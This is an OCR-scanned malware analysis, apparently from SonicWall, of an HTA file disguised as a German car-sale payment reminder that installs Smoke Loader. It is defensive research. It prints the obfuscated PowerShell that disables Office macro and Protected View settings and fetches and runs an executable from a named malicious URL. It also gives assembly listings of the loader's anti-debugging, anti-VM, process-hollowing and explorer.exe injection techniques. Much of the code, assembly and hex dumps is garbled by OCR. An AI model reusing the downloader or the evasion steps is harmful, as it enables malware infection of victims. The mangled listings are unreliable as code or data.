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Threat actor always targets under the radar file types to deliver malware to the victim’s
machine. HTML Applications (HTA) files are known as less suspicious file types by various
security providers. SonicWall Capture Labs Threat Research team has observed an HTA
file inside an archive is being delivered to the victim’s machine, which further downloads
and executes Smoke Loader malware.

Infection Cycle:

The archive file name is in German “Zahlungserinnerung-BV-Green-Golfm.zip” acted as a
payment reminder for the victim. The HTA file has HTML code to display service estimation
by “LM Classic Cars” for Ferrari 348 TB for an Autria customer, additionally it includes
JavaScript code to download malware using PowerShell script:

o [/ = hiluing serinnerung-BV-Green-Golfm.hta &@&J
Sales order: &
Seller :

Buver HUBER SIEGFRIED

Address: Winzerweg 5a. Mooskirchen, Austria
zip code: A-8562

Genk, 12/ 10/2021

Selling of the following vehicle : =
Brand 3 I

Model : 348TB

Construction year 5 1990

chassismmber : ZFFFA35S000087716

Price

- Ferraru 348 TB (with service at 29.000 km) - 59.000 ipYuro

Total : 59.000 euro 5

The amount of 59.000 Euro Will be paid within 3 days at account number - BEI7 4870 5735 3921
LM classic cars services the car and prepare it ready for pickup or after recefving the payment.

The car remains the property of the seller until the purchase price has been paid in full.

For agreement, For agreement,
seller, buyer, =

« [ 3

The JavaScript code executes the PowerShell executable which further executes another
instance of the PowerShell executable using Command Prompt:
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The PowerShell script contains code to perform below actions on MS Office files:

e Enables all macros

» Disable protected view for files belongs to internet zone

» Disable protected view for attachments opened in Outlook
» Disable protected view for files in unsafe locations

The PowerShell downloads malware from URL h[t][t]p://www.trimm.at/error/upx.exe

SWoOeHRDpp =
$DV31CxCxbGnQT =
foreach(SkJRJIQAtI IN $WuOeHKDDP)
i

fOreaCH($ In $DV31CxCxbGnQd)
i

If({tEST-paTH nkcu: \20FIwaRE\miCROSOFT\oFFiCE\$kJRIIQALIN§\2ecUriTY)

; SEt-itemprCPErTy  HECu:\SofTwAre\mICROzoft\oFFicE\§kJRJIQAtJ\§\SECuRIty -NaMe VBAWarnings -valUe © -TyFe dWORd

:;(Tesz—pat,‘; hkCu:\SOFtWarE\MicROS0FT\OfEICE\$kIRIIQALI\G\sECURiTY\PROTeCTedView)

; SEt-ItEMproPFErty  Hkcu:\sCETwaRE\miCROSOfT\CFFICe\§kJRIJIQAtJI\§\SeCurity\PROTECTEDvIew -NAME DisableInternetFilesInPV -valuE 1 -type  dWoRd
i'f.ccesT—Pa::. HKcU: \s0fTwAre\miCrOSoft\of£icE\$kIJRIIQALINS\SECURITY\ PrOTECTeDVIEN)

g SeT-ITEMprOperTY¥  HkcU:\SCFtwARE\MICROOft\CFLICE\§kJRJIQdtJ\§\secUriTy\prOTECtEDvIEwW -NaMe DisableAttachementsInPV -VALUE 1 -TyPE  dWOrD

}:
iF(Test-paTh hKCU:\softWare\MICRoSoFT\oFfice\§kJRIIQAtI\§\SeCURIty\pRoTectelview)
{

SeT-iteMpROperTY HECU: \sCfTWaRE\MIcrOsOFT\oFficE\$kJRIIQALT\§\seCurITY\pROteCreDvIEw -Name DisableUnsafelocationsInFV¥  -value 1 -t¥Fe DWORD
}
}
}:
InVOKE-ResTmetHOd -URI ([cHAr] 104 + [Char] 11§ + [CHaR] 116 + [chaR] 112 + [cHAr] 58 + [CHAr] 47 + [cHaR] 47 + [cHar] 112 + [CHAr] 112 + [ChAR] 119 + [ChAR]
<6 + [chAR] 116 + [CHar] 114 + [CHaR] 105 + [cHAR] 109 + [cHAR] 10% + [CHar] 46 + [CHAR] 27 + [chAR] 11§ + [cHar] 47 + [cHAR] 101 + [ChAr] 114 + [Char] 114
+ [char] 111 + [cHaR] 114 + [CHar] 47 + [char] 117 + [cHar] 112 + [chaR] 120 + [ChAr] 46 + [chAr] 101 + [char] 120 + [ChaR] 101 ) -outfilE EB$EnV:
|B1LUSERSprOfilE\RuntimeBrokers32. exc@d o

IeX

SENV:ALluseRsprofILe\RuntimeBrokers32.exe

http://www.trimm.at/error/upx.exe

The Smoke Loader malware works in multi stages and layers. It uses code obfuscation, anti
debugging, anti VM and Living of The Land techniques. The malware makes sure that a
memory dump should not expose its intention at any point of time.
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First Stage Executable

The first stage executable is highly obfuscated, it contains large loops with garbage API
calls followed by a conditional jump. The malware uses opaque predicate technique as
control never goes to garbage API calls, they are just kept to make analysis difficult. In a
long iterations loop, only few operations are actually required by the malware which are
executed on a particular iteration. The below iteration loop is intended to calculate the
encrypted bytes size at 0x40Ath iteration:

¥

00425184

B0425184 loc_425184:
08425184 cmp dword ptr [esp+355Bh+dullriteCoord.X], 48%h
B042518C jnz short loc_425193

large iteration Toop

encrypted bytes pize

performs cmlysmgle }7“@@ A424938 :zd_ deBE:g n;g;ﬁh
EXDECtEd operatlon at BB42518E call sub_424938 0424047 retn
! : : J . BA424042 Sub_ 424938 endp
perticular iteration value _ y
ol e |-=
A8425193
80425193 loc_L425193:
88425193 cmp duwBytes, 78h
A842519A jnz loc_ 425337
garbage API calls A
il e (=
ABN251A8 xor eax, eax
A84251A2 mov vord ptr [esp+355B8h+BinaryType], ax
g84251A7 lea edi, [esp+3558h+BinaryType+2]
AB4251AB stosw
aeu251AD 1lea eax, [esp+3550h+Humber0fCharsWritten]
804251B1 push eax ; lpMumberOfCharsWritten
884251B2 push [esp+3554h+BinaryType] ; dwWriteCoord
864251B6 push esi ; nLength
804251B7 push offset Character ; "notuxonuninamubajaweyufebufebahibeyefab™. ..
B84251BC push esi ; hConsoleOutput
ae4251BD call ds:WriteConsoleDutputCharacteri
884251C3 push offset aBavobabimTapic ; "Bavobabim tapic zehadosidoviwe™
| 10@4254C8 call ds:loadlibrarufl

The malware decrypts the shellcode into memory which further brings second stage
executable:
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Ll 1 55

il i =

8e424CE8E =or
B0424CE8D mou
B80424C921 1ea
BA424C94 stosw
B0424C206 lea
BA4Z24C99 push
BA424C9A push
88424090 push
BA4Z4C0E push
A8424C9F push
88424CAB call

eax, eax
[ebp+dullriteCoord.X], ax
edi, [ebp+dwWriteCoord.¥]

eax, [ebp+HumberOfCharsWritten]

eax ; lpHumberODfCharsWritten
dword ptr [ebpt+duwiriteCoord.®] ; dwWriteCoord
esi : nLength

esi ; cCharacter

esi ; hConsoleDutput

ds:FillConsoleDutputCharactery

+*—I

bl s 55
a8424CA6
ae424CA6 loc 424CAG:
ae424CA6 add ebx, B
80424CAHY dec [ebp+uar_B]
88424CAC jnz loc_ 4Z24CHS
|1
LA ]
[ 1

The shellcode uses PEB_LDR_DATA from Process Environment Block, iterates through
InLoadOrderModuleList to get the API addresses. The shellcode decrypts next stage
executable in memory and does process hollowing to replace current process from the

address space and starts execution of new process from entry point:
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debuqg 821 : 881D 629 4 mov eax, lenp—mm_
debugB21:881D8297 inc eax
debuqg 821 :881D629BY mov [ebp-BB8h], eax
debug @21 :881DA2A1

debuqg821:881D82A1) 1oc_1DA2A1: ; CODE XREF: debug@21:0861D82927Tj
debuqgf21 : 8610624 1) mov eax, [ebp-8A3h]
debuqgf21 :881D62A7) mou ecx, [ebp-BESh]
debuqgf21 :001D62ADY cmp ecx, [eax+2]
debug 821 :061D62B& jnb short loc_1DB2CE
debuqg21 :861D 62828 mov eax, [ebp-16h]
debuqgf21:801D0 6285 add eax, [ebp-8BE3h]
debuqgf21 :061D62BEY mou ecx, [ebp-8A3h]
debuqg21 :061D62C1Y add ecx, [ebp-8BESh]
debuqgf21 :861D62C 7} mov cl, [ecx+3Ah]
debuqg21 :861D62CAY mou [eax], cl
debugB21:8681D82CCY jmp short sub_1DB8294

debug821:861082C
debugB821:861D82CE

UNENOWN 001D02B0: sub 1D0294+1C

| 1 ||

 View-1 V O & x ||[D] stack view
1aga EH ;H ﬁﬂ EE ﬁq ﬁﬂ ﬁﬁ ﬁﬁ EE Eﬁ 15 ﬁﬁ FF FF Eﬁ EE H!E ......... T » | |BB12B6EY
8183 48 81 609 00 00 60 00 88 40 090 00 900 @8 EE g8 88 @....... R M B812B6ES
208 BB B A0 OO B0 A0 B0 BA OO OO A B0 BB 86 A0 BB ... ............ —|ﬂﬂ1236EE
2608 B8 B0 A0 0O B0 OO B0 B8 OO 00 OO B0 80 08 08 B8 ... ........ Gios BA12BaF B
a46 8 BE 1F BA BE 68 B4 89 CD> 21 B8 @81 4C CD 21 54 68 ..}..].-*+.L-*Th BO12BaF 4
588 69 73 28 78 72 &6F &7 72 61 6D 28 63 61 6E 6E 6F is-program-canno BA12B6F8
A58 74 28 62 65 20 72 75 6E 20 69 6E 28 44 4F 53 28 t-be-run-in-DOS BA12BaFC

| e

708 6D 6F 64 65 2E BD BA 24 OO0 00 68 08 B0 68 00 B8 mode 5 OWN DO

Second Stage Executable:

Second stage executable code is full of techniques used to investigate the controlled
environment execution.

Anti-Debug

Checking the BeingDebugged and NtGlobalFlag in Process Environment Block is common
across the malware. Here the tricky part is, instead of branching the code based on the flag
values, the malware uses the flag values to compute a jump offset. If the malware is running
inside a debugger then it will compute a invalid address which makes an impression of
corrupted file to the researcher:
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MOVZX ECK, BYTE PTR DS: [ERX+Z]
JHMEP SHORT bdeObdbc. 0040304
INI3

DB ED

SEE DL,DH
STC
ADD ECX,1

JMEF SHORT bdeObébc.0040305B
DB CE

il
1

2L
LI i
-1 m

=l
[£E}

[T VT o I s |
T

i)
ix}
T

MOV ELX ECH

JME SHORT bdeObgbc.0040305E
DB AC

DB Bz

JME SHORT bdelObgbco.00403055
LAHF

JME SHORT bdeObébc.0040306D

L

DB
DB
MOV ECX, ZF41

JME SHORT bdeObébc.00403070
RRM 4F

JMEP SHORT bdeObgbc.00403064

no T4

1o i s}

e
B =]

[
L

JME SHORT bdeOb&bc.00403073
INC EBX

MUL ECX

JME SHORT bdeOb&be. 00403070
ENTER 1ADE,0D4

5TC

ADD EAY, EBY

JE SHORT bdeObsbe. 00403085
JNZ SHORT bdeOb&bo.00403085
LAHF

MOV CL, 0FC

DUSH EAX

RETH

MOV BH, 12

CUSH ZED1

JNZ SHORT bdeOb&bc.00402F&6
JE SHORT bdeObébc.00402F&6

FADDE STI(5),ST

MOV ECX,DWORD PTR 55: [ESD]

ADD ESP, 4

JMP SHORT bdeObébc.00402F&F

MUL ECK
JMP SHORT bdelbfbc.00402F78

ADD ERX, EBX
JMP SHORT bkdelbfbc.0040Z2F7E

DE BB

INC EBP
JMP ERX

BeingDebugged

CHAR "G’

2dding imagebase

NtGlokalFlag

Increasing NtGlobalFlag walue

CHAR "u'

stack push

stack pop

CHLR 'p'
Computing jump offset

2dding Imagebase

2dding into BeingDebugged Value

Computing jump offset
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On-Demand Decryption

The malware decrypts the code on demand just before executing it and once the code is
executed, the malware encrypts it back. The malware does this, to prevent its complete

code exposure in one shot:

! Key

I/0 command

I/0 command

Unknown command

IES ATZRAGFS EUUSH F99&Z2RA7

5A EFOP ELDX

+EB 08 JHME SHORT bdelbdbc.00401ZB5
BE 32 MOV DH, 32

“"EE F4 JHMPE SHORT bdelbébc.00401Z2AC
EC IM AT., DX

EB 00000000 CALL bdelObgtbc.00401ZBE

+75 04 JHNZ SHORT bdeObébco.004012C4
L4 02 JE SHORT bdelbébc.004012C4
D4 ZE ARM ZE

EEB34Z4 MOW ESI,DWORD PTE 55: [ESF]
B3C4 04 ADD ESP, 4

+EB 0OA JHME SHORT bdelbéabc.00401ZD&
40 INC ERX

B1EE EBE1z0000 5UB ESI,1ZEBE

+EB 05 JMEP SHORT bdeObébco.004012DR
Z0EB AWND BL,CH

F5 CHC

40 INC EAX

ZOEB BND BL,CH

05 444g38Ds ADD EARY Do3B84c44

Fs S5TC

01Ca ADD ESI,ERX
+EB 03 JME SHORT bdeObébeo.004012ZEE
A3 Bl3B5eLF MOW DWORD PTR DS:- [5F563881],EAX
~EB 05 JHME SHORT bdelbdbc. 00401ZF1
ET TD OUT 7D,EAX
“EB TS5 JMEP SHORT bdeObébo.004012ES8
DD 2232

AC LODS BYTE PTR DS:- [ESI]
+EB 05 JHME SHORT bdelbtbc.00401ZF5
4c DEC ESE

5E POP ESI

3BDa CMP DH, DL

F5 S5TC

2000 ROR AL, DL

ER ST0OS BYTE PTR ES: [EDI]

Ee Fg TOUPD SHUNT DdelbeDC. GUaulerl

Loaded module

The malware checks for below modules in the current process, if any of them is loaded

malware terminates the execution.

 sbiedll (Sandboxie module)
o aswhook (Avast module)
e snxhk (Avast module)

FF53 1B CALL DWCERD PTE DS5: [EBX+1B]
B5C0O TEST EAX, Ea¥
L0F&5 1BOZ20000 JHZ bdelbtbc.004025B4

Virtual Environment

kerneliz GetModuleHandlel
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The malware examines registry values

“\REGISTRY\MACHINE\System\CurrentControlSet\Enum\IDE” and
“REGISTRY\MACHINE\System\CurrentControlSet\Enum\SCSI” for below substrings to

check for virtual environment.

e gemu
e virtio

e vmware
e vbox

e Xen

56
e
| Frss noooooeo

RD PTR DS: [EBX+A0]

EIP 00401D10 bdeObsbc.00401D10

UNICODE "cdromnecvmwar_vmware_ide_edrld 1.00

bdelbgbc. 00402ZAF3
bde0bsbc. 00400000

UNICODE "“\REGISTRY\MACHINEA\System\CurrentControlSet\Enum'IDE™

The malware enumerates through all the running processes and looks for below processes.
If any of the process is found the malware terminates the execution. The malware shows
laziness in the code here, instead of dynamic size for individual process name, the malware
keeps the size to 0x20 bytes for all the process names:

e gemu-ga.exe

e (gga.exe

e windanr.exe

¢ vboxservice.exe
¢ vboxtray.exe

e vmtoolsd.exe

e prl_tools.exe
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SF POP EDI

EDX 00000000
EBX 00403087 bdelbscbco. 00403087
ESP 000&FF40
EBP 000cFF&4
ESI 01151540 UNICODE "amas.exe"
EDI 00402090 UNICODE "gga.exe™

EIF 00402170 bdeObsbco_ 00402170

ES5 0023 3Zbit O(FFEFEETE)
C5 001B 3Zbit O{FFFFFFEF)
S5 0023 32Zbit O(FFFEFEFE)
DS 0023 3Zbit O(FFFEFFEFF)
FS5 003B 32Zbit TFEDFO00(FFE)
&5 0000 NULL

00 Do 00 00|00 00 00 00|00 DG 00 00j00 0O 00 00

00 56 53 EBI!76 FA FF FFI58 57 BS C7180 3F 00 74| _VSevudiEWICE?.t

O006FF44
O0006FF48
000GFF4C
000&FF50
O006FF54
O006FFEE
000GFFSC
0006FFa0
O006FFa4
O0006FF&8
0006FF&C
0006FF70

OO HmME b0
[ T e T T T R S

LastErr ERROR_MOD NOT FOUND

UNICODE "gga.-exe™

bdelbebe_0040ZAF3
bdelbebe_ 00400000

BRETUEN to bdeObebc_ 00402CE3 from bde
bdelbebe_ 00403087
ntdll_ 77180000

The malware looks for below 7 bytes substrings of flenames into victim’s machine. If any of

them is found the malware terminates the execution:

e VMCIi.S

e vmusbm
e vmmous
e vm3dmp
e vmrawd
e vmmemc
e vboxgu
e vboxsf
e vboxmo
e vboxvi

¢ vboxdi

e vioser
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The malware gets the explorer.exe process id using APls GetShellWindow
and GetWindowThreadProcessld:

FF53
ESCO
-0FE4
E345
EDT75
BS3E
=11

1]

FF53
[==1 kA
E5CO
-0FB4

48
17030000

L4
AD

FEQZ20000

CALL DWORD PBTR DS: [EBXH4E]
TEST EARX,ERX

JE bdeObebo_ 00401502

MOV DWORD PTR S5: [EBP-5C] ,EAX
LEA ESI,DWOBD PTR S5: [EBP-g0]
MOV DWORD PTR DS: [ESI] EDI
PUSH ESI

PUSH EAX

CALL DWORD DTR DS: [EEX+4AC]
MOV EAX, DWORD PTR D5: [ESI]
TEST EAX,ERY

JE bdeObebc_ 00401500

user3Z.GetShellWindow

useri3z GetWindowThreadProcessld

The malware creates and maps two sections in explorer.exe, one section

has PAGE_READWRITE access attributes to store data and second section

has PAGE_EXECUTE_READ access attributes to inject shellcode. Not enabling

WRITE access to the shellcode memory makes the debugging little more difficult as this will
prevent from putting software breakpoints and modifying code as per researcher’s need:
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FF53 74 CALL DWORD PTR DS: [EBX+74] NtCreateSection
BSCO TEST EAX, EARX
~0OFBS 08020000 JHI bdelbebec. 00401500
E37D FE 00 CMP DWORD PTR 55: [EBB-E],0
.- OFE4 FCO10000 JE bdeObcbc.00401500
FEF75 BO PUSH DWCORD PTIR 55: [EEP-50]
EF45 CB BCP DWORD PTR S55: [EBP-3B]
ED45 EE LEAL EAM, DWORD EBTR S55: [EEP-4B]
BS38 MOV DWMORD PTR DS: [EAX]  EDI
ED4D CE LEAR ECK, DWORD PTIR S5S5: [EBP-3E]
el 04 EUSH 4
&% BUSH EDI
8k 01 BUSH 1
51 BUSH ECX
57 BUSH EDI
57 BUSH EDI
57 BPUSH EDI
50 EUSH ERX
A FF BUSH -1
FF3& BUSH DWORD PTR DS: [ESI]
FF53 78 CALL DWORD FIR DS5: [EEX+7TE] NtMapViewlfSection
BSCO TEST EAX, EAX
~0OFES D5010000 JHZI bdelObebc. 00401500
ED45 CO LEL EAX, DWORD PTR S5S5: [EEP-40]
ES38 MOV DWORD PTR DS: [EAX]  EDI
ED4A: CEB LEA ECK,DWORD PTR 55:[EEP-38]
el 20 DUSH 20 PAGE EXECUTE RERD
57 BUSH EDI
8L 01 BUSH 1
51 BUSH ECX
57 BUSH EDI
57 BUSH EDI
57 BPUSH EDI
50 EUSH ERX
FF75 F4 BUSH DWCED BTR S55: [EEE-C]
FF36 BUSH DWORD PTR DS: [ESI]
FF53 T8 CALL DWORD FIR DS5: [EBX+7E] NtMapViewlfSection
oEM~N TROT TRV TAW

The malware injects shellcode into the mapped section and does NtCreateThreadEx
passing data section address as parameter:

51 EUSH ECK

EB4A 10 MOW ECK,DWORD PTE DS: [EDE+10]
EB2C3 TEST ECX,ECX

.74 0OE JE SHCRT bdeObtbc 004018ZC
EETA 0OC MOW EDI,DWCORD ETE DS: [EDE+C]
037D EE ADD EDI,DWORD PTR 55: [EEE-4E]
EB7Z 14 MOV ESI,DWCRD PTR DS: [EDX+14]
0375 oOC ADD ESI,DWORD ETR S5S5: [EEP+C]
Fi-hd REP MOVS BYTE PTR ES: [EDRI],BY¥TE PTR DS: [ESI]
B3C2 ZB ADD EDX, ZB

53 BCPE ECK

"Ez E4 LOOED SHORT bdelbgcbe.00401B16

ShellCode Execution:

The Injected shellcode into explorer.exe spawns two sub-threads which keep an eye on
monitoring tools. If the researcher opens any of the monitoring tool or analysis tool that will
be immediately terminated by the sub-threads while the main thread doing its job.

Thread 1

This thread enumerates through all running processes, computes hash of the running
process name and compares it with its list of hashes to terminate below processes:
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56DAB1A9 — Autoruns.exe
F3E35F5E — procexp.exe
2407724B — procexpb4.exe
FBC25850 — procmon.exe
27151A96 — procmon64.exe
E6ED4551 — Tcpview.exe
27D7E006 — Wireshark.exe
2CEB6C62 — ProcessHacker.exe
EDCD7F5E — ollydbg.exe
70A30042 — x32dbg.exe
4EA30D45 — x64dbg.exe
0CCD4A10 — idag.exe
0CCD4C3A — idaw.exe
0956AD95 — idaq64.exe
337CAD95 — idaw64.exe

FF3& 370D000O0 CATT. DHORD PTR DS: [ESI+D37] CreateToolhelp3ZSnapshot
BEFE MOV EDI, ERZX
B3FF FF CHMP EDI,-1
»T4 SA JE S5HORT 01B73zZ1Aa
gD4424 10 LEA E&X, DWORD PBTE 55: [ESP+10]
C74424 10 Z80100MOV DWORD PTR S55: [ESP+10],1Z8
50 EUSH ERX
57 BUSH EDI
FF3& 3BODOO0OO CALTL. DHCRD PTR DS: [ESI+D3B] Process3ZFirst
-EB 35 JHME SHORT 01B73Z20F
BED4CZ4 34 LEA ECH, DWORD PTE 55: [ESP+34]
EZ2 4R0E0000 CALL =ComputeHash>»
35 C987DFESRZ HOR ERX, 52DFg7C3
BECB MOV ECH,EBX
3%81 CO10B701 CMP DWORD PTR DS5S: [ECH+1B710CO0] ,ERX Compare hash wvalue
T4 0OR JE S5HORT 01B731F8
B83C1 04 ADD ECX, 4
B3F3 3C CHMP ECH, 3C
72 FO JB S5HORT 01B731E&
.EB 0B JHE SHORT 01B73203
BEB54Z4 17 MOW EDX, DWORD PTE 55: [ESP+18]
BECE MOV ECH ESI
EB TEO70000 CALL. 01B73381 TerminateProcess
ED44z24 10 LE2 E&i,DWCORD PTR 55: [ESP+10]
50 EUSH ERX
57 EUSH EDI
FF3& 3F0DOOOO CATT. DWORD PTR DS: [ESI+D3F] kernel3Z Process3ZHext
B5CO TEST E&X,EX
™75 C3 JHNZ SHORT 01B731De
Thread 2

The malware enumerates through windows, computes hash value of windows name and
compares it to terminate processes attached with below windows list:

e 61C75CDC — Autoruns

e 4DFA76EB — PROCEXPL

e 95E8B472 — PROCMON_WINDOW_CLASS
e 62DC4674 — TCPViewClass
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6A0FAA84 — Wireshark
7FF991A1 — ProcessHacker
BEDA6295 — OLLYDBG
62DD69FD — IDA

FFS& 070E0000
6A 64

FF36 D30C0000
23BE 43000000
75 E3

EA 00

FFS36 B30C0000
5E

C2 0400

55

EBEC

21EC 04010000
2DES FCFEFEEFE
=1

BB7S OC

&8 04010000
50

FETS 08

FF3& FFODOOOO
85C0
TR

2DED FCFEFEFEF
E& SEODOOOD
35 CIET7DFEZ
33Cs

3981 S010B701
74 0B

83C1 04

23F3 20
“7Z FO
+EB 1B

2365 0C 00
8D45 OC

50

FETS 08

FF3& 030E0000
8B5S OC

2BCE

E8 BZ0&0000

BTl

Main Thread

CALT. DWORD PTE DS: [EST+E07]
ETISH &4

CALL. DWORD PTE DS: [ESI+HCD2]
CMP DWORD ETE DS: [ESI+C43],0
JHNZ SHORT 01B73Z241

BUSH 0

CALL. DWORD PTR DS: [ESI+HCB2]
BOP ESI

RETN 4

ETISH EBPE

MOV EBE,ESP

5UB ESP, 104

LEAR ER¥, DWORD ETRE S55: [EBE-104]
BUSH ESI

MOV ESI,DWORD PTR S55: [EBE+C]
BIUSH 104

PUSH ERLX

PUSH DWCRD BTR S5: [EEE+E]
CALL DWORD PTR DS: [ESI+DFF]
TEST EAM,ERX

JE SHCRET 01B732CF

LEA ECH, DWORD PTE S5: [EEP-104]
CALL <ComputeHash>

HOR ERX BZDF&7CH

HOR ECK, ECK

CHMP DWORD PTR DS: [ECK+1B71050] ,ERX
JE SHCET 01B73ZB4

ADD ECH, 4

CMP ECX, Z0

JB SHORT 0Q01B73ZRZ

JMP SHORT 01B73ZCF

AND DWORD PTR S5: [EBE+C],0
LEA EAX DWORD PTR S5: [EBE+C]
EUSH ERX

EUSH DWORD BTR S55: [EBE+E]
CALL. DWORD PTR DS: [ESI+E0Z]
MOV EDE, DWORD PTE S5: [EBE+HC]
MOV ECH ESI

CALL. 01B73%E81

AT TWE EWE

EnumWindows

Compare Hash Value

USER3Z . GetWindowThreadProcessId

TerminateProcess

The main thread starts with Process Environment Block (PEB) traversal, to get
ImageBase of ntdll.dll and kernel32.dll. The malware then enumerates the export functions
to get the the addresses of required APls. Instead of direct APl names the malware keeps
the hash values list, which is being compared to the hash value of the exported function

name:
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ed:-21 30000000 |MOV EaX DWORD PTR FS5:[30] Process Environment Block
53 FUSH EBX

55 EUSH EEP

58 EUSH ESI

BB&E 0OC MOV EBP, DWORD PTE DS: [EAN+C] _DEE 1.DR DATR

BBF1 MOV ESI,ECXK

B3Cs 0OC ADD EBP,0C InLoadOrderModulelist
57 FUSH EDI

B98aCz4 10 MOV DWORD PTR S5S: [ESP+10],EBP

33FF XOR EDI, EDI

BB55 00 MOV EDX, DWORD PTE S5: [EBP]

BB5A 30 MOV EBX, DWORD PTR DS5S: [EDH+30] module base name

33C0 XOR ERAX EAX

ea:-3903 CMP WORD BTR DS: [EBX], AX

LT84 1C JE SHORT 01B7173D

33ED HOR EBP,EBE

gR03 MOW AL, BYTE PTR DS: [EBX] .

BDSE 02 LEA EBX,DWCORD BTE DS: [EBH+2]

pres i Computing module
OFB&CO MOVZIH ERX, AT

s el e name hash value
C1C7 08 BCL EDI B

03F8 ADD EDI,EAX

e86:392B CME WORD PBTR DS: [EBX],BP

75 EA JNZ SHOBT 01B71723

EBaCZ4 10 MOW EBP, DWORD PTR 55: [ESP+10]

B1F7 CS&7DFE2 XOR EDI,S5Z2DFe7CH

B1FF TDOSDEOS CMP EDI,BDEOSTD ntdll_d11 hash value compare

L7413 JE SHORT 01B7175E

81FF ES5R1Z273B CMP EDI,3BZ7TRI1ES kernel32 . dll hash walue compare
.75 14 JNZ SHORT 01B71767

BEB4Z 1B MOV EAX, DWORD PTE DS: [EDE+1B]

B98& T320E0000 MOV DWORD PTR DS: [ESI+E7T2] ERX storing kernel3Z.dll imagebase
-EB 0% JHME SHORT 01B717&7

EB42 1B MOV ERX, DWORD PTE DS: [EDE+1B]

BE98& SFOEQ0DOD MOV DWORD PTR DS: [ESI+EEF] ERX

storing ntdll_dll imagebase

The malware keeps list of RC4 encrypted strings in a structure, in which first bytes tells the
string size followed by encrypted string. The malware perform RC4 decryptions just before
using them:

B8A 04 EUSH 4 Size of key

57 BUSH EDI S5ize of encrypted string

BD5424 18 LEA EDX,DWORD PTR 55: [ESD+18] Key (0&6d3708c)

BBCE MOV ECK,EST Encrypted S5tring

ES 08000000 CALL <RC4>

SF POp EDI

i e ASCII A o1rorrio [EEER

70 [AD-E3 AE DE TS 65 G2 14 6B 01 D3 B3 D2 SA|- SOEYALE|x OFL _ |0iEOFEl4)] O0C

&3 D7 24 F3 52 IF 52 FE 96 32 IE FA B2 36 93 61| h=307Dp-2idfeva L4 il ]

Bl 33 1IF 3E 46 23 23 32 FA BD 6B Fé 4 o0 |N3rEfp0esdians - : g 1o

F& BC D& D%|3SE 8z 48 1B 9E 36|03 26 60 DD|=NUz i—Llg-¥ ol o1z

FS GA A3 24|55 g8 EE Bl FC 1z |B& 74 BO 21 Fnc ted a1 el

04 28 45 OC|AS BC DE 56 75 D5|S5E &1 1E 91 pr : 33 et

03 84 F8 BS|CE 83 4A OB BE|FB AF C7 strings - o s

21 19 94 1%(7F EF &k CZ Cl|8D Z3 SE ; o

60 DA 98 06|BD 9D CD OB AS|F3 AC DE with thejn 4| o1z
5 N A7 r 01 g| o1r

95 75 i, & C2|C1 51 05 A7|F¥B BE 8¢ - a 5] Olt

s1Zes = o1z

07 BE & BB 36|0& BF E4 EB|FL 3D CD 06 0 C| Bi:

»C Fo A3 CF|DE 96 07 BB|FF BF CZ C2|CC 74 07 BB g b [

il il = o T U o il T i po o - ~ STy Db = 1 5 ':; 1 3:(

The malware computes a unique identifier for the victim’s machine using below formula:
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MD5(computer name + hardcoded DWORD value + system drive serial number) +
system drive serial number

The malware creates mutex with the unique identifier to restrict execution of another
instance of the shellcode and if another instance is already running malware terminates its

execution:

50 BUSH E&X

FF35 SBODOOO0O CATI. DWORD PTR S55: [EBEP+DSR] GetComputerNamel
33CS HOR ECH ECH

gD44z24 14 LEA EAX DWORD BTR 55: [ESE+14]

51 BUSH ECH

51 PUSH ECH

51 DUSH ECH

51 DUSH ECX

50 BUSH E&X

51 PUSH ECH

51 DUSH ECH

8DES Z70C0000 LEA EAX DWORD BTR 55: [EBBHCZ7]

50 BUSH E&X

FF35 F70C0000 CATT. DWORD PTR S5: [EBPHCET] GetVolumeInformationd
gk 21 DUSH 21

5L DoP EDH

BBCD MCY ECH, EBP

E& 3e040000 CATT. 01B741B1

gk 15 DUSH 15

S DoP EDX

BBCD MOV ECH, EBP

EBFS8 MOV EDI, EAX

E2 7BO10000 CALL 0D1B73F02

FF7424 14 DUSH DWORD DPTE S55:[ESE414]

BEBFO MCY EST, EAX

gh44z4 1C LER EAN DWORD PTR 55: [ESE+1C])

g8 gASFZ1EC DUSH BCZ215F&R

50 DUSH E&X

5c BUSH ESI

57 PUSH EDI

FEF95 F70D0OOOO CALL DWORD PTE 55: [EBE4+DET] USER3Z _waprintfi
2304 14 LoD ESp 14

IDET]=75D33F47 (USER3Z _waprintfd)

Hex dump ASCITI

5T 43 4E Z0 44 51 4C 33 5656 4E 36 45 4D 3B 3B |WIN-DQLAUOVHNGEMBB
43 32 31 35 486 36 41 45 45 3§ 39 45 44 44 3B 00| CZIS5FGAEEGSEDDE.
o0 o0 00 00|00 EB 00 00|SD 20 77 236|DD EB 00 0OB|.--... & _ rE?é.n

The malware reads Internet Explorer version information from registry and gets user agent

string for it:
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Hex dump

ASCII

40 &F 7A &5
el 74 63
30 3B 20 57
21 3B 20 54
53 4C 43 43
32 ZE 30 ZE
43 4C 52 20
4E 45 54 20
3% 3B 20 4D
50 43 20 348
3B Z0 ZE 4E
50 &1 74 &B

amn o Aan Aan AN

The malware drops self copy into %APPDATA% directory and the file name is computed by

aC 6C 61 Z2F 34 ZE 30 Z0
82 &C 85 3B 20 4D 53 43
6% 6E 64 &F 77 73 20 4E
7Z 859 64 ©5 gE 74 ZF 34
32 3B Z20 ZE 4E 45 54 Z0
25 30 37 32 37 3B 20 ZE
33 Z2E 35 ZE 33 30 37 32
43 4C 52 Z0 33 ZE 30 ZE
85 84 83 61 20 43 &5 BE
2E 3B 20 ZE 4E 45 54
45 54 34 ZE 30 45 2B 20
ZE 33 29 00 OO 00 0O 00

nan o Aan o Aan AN AN AN an

2B
45
54
ZE
43
4E
39
33
T4
34
43
oo

[alal

a3
20
20
30
ac
45
3B
30
85
ZE
cE
oo

[alal

aF
38
=19
3B
52
54
Z0
37
TZ
30
(1
oo

[alal

6D | Mozilla/s4.0 (com r
Z2E |patible; MSIE B._ as
2E|0; Windows NT &. 01
20|1; Trident/4.0; o
20|5LCC2; _NET CIE 4]
20|2.0.50727; _NET 01
PE|CLE 3_5 30728%: . 01
32 |NET CLR 3.0.3072 h
20|9; Media Center ‘f
43|PC 6.0; .NET4.0C 01
&F|; .NET4.0E; Info 01
00 Paeh 8Y oo ool bt

nn Ji

encoding initial 7 bytes from the unique identifier:

| =rss o7opoooo
85C0
~0F84 C1000000

E8 &F230000

CATT. DWORD PTR 55: [EBE+DO7]
TEST ERX ERX
JE 01BT71C43

56 PUSH ESI

FF35 1BODOOOO CALL DWORD PTR S55: [EBF+D1B]
8A 17 BUSH 17

5A BOP EDK

BECD MOV ECK, EBP

CALL <DecryptRC4>

kernel3Z CopyFileW

